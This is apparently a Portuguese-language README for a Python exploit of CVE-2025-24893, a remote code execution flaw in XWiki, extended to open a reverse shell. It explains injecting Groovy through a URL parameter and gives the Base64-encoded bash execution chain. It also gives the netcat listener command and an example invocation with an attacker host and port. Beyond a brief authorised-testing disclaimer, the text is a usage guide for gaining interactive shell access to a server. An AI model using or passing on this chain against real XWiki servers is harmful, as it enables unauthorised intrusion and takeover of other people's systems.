
CVE-2025-24893 exploit RCE para XWiki com capacidade de shell reverso
Aviso: Este script é destinado apenas para fins educacionais e testes de segurança autorizados. Não o utilize em sistemas que você não possua ou para os quais não tenha permissão explícita para testar. O uso indevido pode ser ilegal e perigoso.
Este script Python explora a CVE-2025-24893, uma vulnerabilidade de Execução Remota de Código que afeta versões do XWiki até 15.10.10.
Esta versão estende o PoC original de Al Baradi Joy para gerar um reverse shell. O PoC original pode ser encontrado aqui.
O XWiki executa código Groovy através do parâmetro da URL.
O exploit injeta um comando bash -c neste template Groovy.
Um reverse shell normal contém várias aspas (' e ") que quebrariam a avaliação do Groovy e a URL.
Para resolver isso, o script codifica o comando shell de uma linha em Base64.
O payload é então enviado na URL e executado usando a seguinte cadeia:
{echo,<base64>} | {base64,-d} | {bash,-i}
Isso decodifica o payload Base64 com segurança e o executa com bash -i, fornecendo um reverse shell interativo.
http://<host-alvo>/ no final/xwiki (o script o acrescenta automaticamente)Exemplos:
# Correto
http://10.129.95.114:8080
http://example.com:8080
# Incorreto
http://10.129.95.114:8080/ # barra final
http://example.com/xwiki # inclui /xwiki
Antes de executar o exploit, você deve iniciar um listener em sua máquina para capturar o reverse shell.
Exemplo usando Netcat:
nc -lvnp <lport>
<lport> deve corresponder à porta que você fornece como argumento para o script.python3 cve-2025-24893.py <target_base_url> <lhost> <lport>
Exemplo:
python3 cve-2025-24893.py http://10.129.95.114:8080 10.0.0.5 4444